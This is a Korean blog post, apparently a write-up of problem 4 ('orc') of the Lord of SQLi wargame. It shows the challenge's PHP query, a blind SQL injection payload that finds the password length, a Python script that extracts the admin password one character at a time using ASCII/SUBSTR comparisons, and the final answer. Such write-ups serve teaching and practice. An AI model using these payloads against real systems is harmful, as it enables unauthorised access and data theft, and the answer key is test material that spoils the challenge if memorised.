LOS 4번문제
코드해석
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
pw를 입력받아 prob_orc 테이블에 해당 정보가 있는지 조회한다 그리고 이문제는 id가 어디민으로 고정되있는것을 확인할수있다.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
이 문제는 비밀번호를 찾아서 입력해야 합니다.
if($result['id']) echo "<h2>Hello admin</h2>";
이 코드를 보면 id가 참일때 Hello admin을 출력하는 것을 볼수 있습니다.
비밀번호를 찾을때는 비밀번호의 크기부터 구해야한다.
?pw=1' or id = 'admin' and length(pw)=1%23
이 문제의 비밀번호를 구할땐 위에 보이는 것처럼 입력해주면 되는데 이것을 입력하면 아무것도 되지않을것이다 왜냐하면 길이가 다르기 때문입니다.
length(pw)=1%23에 1씩 계속 대입해보았더니 length(pw)=8%23에서 hello admin이 나왔습니다.
pw길이는 8개라는것입니다 이제 파이썬으로 비밀번호를 구하면 끝
import string
import requests
my_cookies=dict(PHPSESSID="nhnln2dufuge28cfesota7njb2") #쿠키 값
idLength=8 #pw 길이입니다
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
abc=string.digits + string.ascii_letters
result=""
for i in range(1,idLength+1): #pw 길이만큼 반복
for a in abc:
param="?pw=' or ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"%23"
new_url=url+param
res=requests.get(new_url,cookies=my_cookies)
if res.text.find("<h2>Hello admin</h2>") > 0:
print(str(i)+"번째 char is :" + a)
result += a
break
print("result:"+result) #(패스워드) 결과 출력한다.
이렇게 해주면
이런식으로 나오는데 답은 095a9852이다
답 : ?pw=095a9852
'los 문제' 카테고리의 다른 글
LOS 6번 문제 풀이 (0) | 2021.09.13 |
---|---|
LOS 5번 문제 풀이 (0) | 2021.09.10 |
LOS 3번 문제 풀이 (0) | 2021.09.08 |
LOS 2번 문제 풀이 (0) | 2021.09.07 |
LOS 1번 문제 풀이 (0) | 2021.09.07 |